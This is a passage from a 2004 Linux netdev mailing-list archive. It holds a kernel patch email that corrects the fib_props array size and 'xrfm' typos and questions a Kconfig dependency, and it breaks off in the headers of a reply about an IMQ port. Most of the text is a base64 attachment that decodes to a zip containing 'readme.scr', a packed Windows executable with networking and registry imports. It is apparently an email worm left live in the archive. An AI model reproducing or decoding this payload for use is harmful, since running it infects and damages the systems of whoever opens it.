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 AAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAA gACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAACIiIgAAAAACId3d3iA AAB4//+Ih3AAAHj3j///eAAAeP////94AAB493d4/3gAAHj/////eAAAePd3eP94AAB4/////3gA AHj3d4//eAAAeP////94AAB4/////3gAAHh/f39/eAAAh3OHh4eAAAAHszt7d4AAAAAAAACAAADw PwAA4AcAAMAHAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAcAAOAH AAD/3wAA2JEAAAAAAQABABAQEAABAAQAKAEAAAEAAAAAAAAAAAAAAAAAkMIAAGDCAAAAAAAAAAAA AAAAAACdwgAAcMIAAAAAAAAAAAAAAAAAAKrCAAB4wgAAAAAAAAAAAAAAAAAAtcIAAIDCAAAAAAAA AAAAAAAAAADAwgAAiMIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAysIAANjCAADowgAAAAAAAPbCAAAA AAAABMMAAAAAAAAMwwAAAAAAAHMAAIAAAAAAS0VSTkVMMzIuRExMAEFEVkFQSTMyLmRsbABNU1ZD UlQuZGxsAFVTRVIzMi5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVz cwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtleQAAAG1lbXNldAAAd3NwcmludGZBAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwEC FAAKAAAAAACSeT8wyicfngBYAAAAWAAACgAAAAAAAAAAACAAAAAAAAAAcmVhZG1lLnNjclBLBQYA AAAAAQABADgAAAAoWAAAAAA= ------=_NextPart_000_0013_427118CE.42C41700-- From matthijs@cds.nl Sat Jan 31 08:03:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 08:03:24 -0800 (PST) Received: from ns.lanbox.com (ns.lanbox.com [194.109.86.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VG3B7J009519 for ; Sat, 31 Jan 2004 08:03:12 -0800 Received: from quoose.lan ([192.168.2.75] verified) by ns.lanbox.com (Stalker SMTP Server 1.8b9d14) with ESMTP id S.0000199191 for ; Sat, 31 Jan 2004 17:09:50 +0100 Received: from xmath by quoose.lan with local (Exim 4.10) id HSD393-000M2F-00 for netdev@oss.sgi.com; Sat, 31 Jan 2004 17:03:03 +0100 Date: Sat, 31 Jan 2004 17:03:03 +0100 From: Matthijs van Duin To: netdev@oss.sgi.com Subject: minor issues in 2.6.1 networking + patches Message-ID: <20040131160303.GD25922@cds.nl> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="96dIhm/ZjrNld+BP" Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 2912 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: matthijs@cds.nl Precedence: bulk X-list: netdev --96dIhm/ZjrNld+BP Content-Type: text/plain; charset=us-ascii; format=flowed Content-Disposition: inline Hi I was studying the linux 2.6.1 networking code (via lxr.linux.no) and stumbled on three minor points. 1. fib_props[] in net/ipv4/fib_semantics.c has size determined by RTA_MAX, yet is indexed by RTN_* constants. Patch included. 2. Two typos ("xrfm") in comments in include/net/xfrm.h. Patch included. 3. I'm quite new to all this, so I might be missing something, but I think a dependency is reversed. net/sched/Kconfig says: config NET_CLS_ROUTE bool depends on NET_CLS_ROUTE4 default y Yet evidence seems to indicate NET_CLS_ROUTE4 actually depends on NET_CLS_ROUTE instead: net/sched/Makefile:29:obj-$(CONFIG_NET_CLS_ROUTE4) += cls_route.o net/sched/cls_route.c:153: id = dst->tclassid; include/net/dst.h:72:#ifdef CONFIG_NET_CLS_ROUTE include/net/dst.h:73: __u32 tclassid; include/net/dst.h:74:#endif Linux 2.4.22's net/sched/Config.in also seems to support this direction of the dependency. regards, -- Matthijs van Duin -- May the Forth be with you! --96dIhm/ZjrNld+BP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline; filename=patch --- linux-2.6.1/net/ipv4/fib_semantics.c 2004-01-09 07:59:10.000000000 +0100 +++ linux/net/ipv4/fib_semantics.c 2004-01-31 16:34:13.000000000 +0100 @@ -83,7 +83,7 @@ { int error; u8 scope; -} fib_props[RTA_MAX + 1] = { +} fib_props[RTN_MAX + 1] = { { .error = 0, .scope = RT_SCOPE_NOWHERE, --- linux-2.6.1/include/net/xfrm.h 2004-01-09 07:59:56.000000000 +0100 +++ linux/include/net/xfrm.h 2004-01-31 16:36:40.000000000 +0100 @@ -48,10 +48,10 @@ |---. child .-> dst -. xfrm .-> xfrm_state #3 |---. child .-> NULL - Bundles are cached at xrfm_policy struct (field ->bundles). + Bundles are cached at xfrm_policy struct (field ->bundles). - Resolution of xrfm_tmpl + Resolution of xfrm_tmpl ----------------------- Template contains: 1. ->mode Mode: transport or tunnel --96dIhm/ZjrNld+BP-- From hadi@cyberus.ca Sat Jan 31 09:03:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 31 Jan 2004 09:03:16 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0VH3A7J014033 for ; Sat, 31 Jan 2004 09:03:10 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AmyWN-0002aG-8L; Sat, 31 Jan 2004 12:03:03 -0500 Subject: Re: [RFC/PATCH] IMQ port to 2.6 From: jamal Reply-To: hadi@cyberus.ca To: Tomas Szepe Cc: "Vladimir B. Savkin" , netdev@oss.sgi.com, volf@dragon.cz In-Reply-To: <20040127115917.GA19166@louise.pinerecords.com> References: <1075058539.1747.92.camel@jzny.localdomain> <20040125202148.GA10599@usr.lcm.msu.ru> <1075074316.1747.115.camel@jzny.localdomain> <20040126001102.GA12303@usr.lcm.msu.ru> 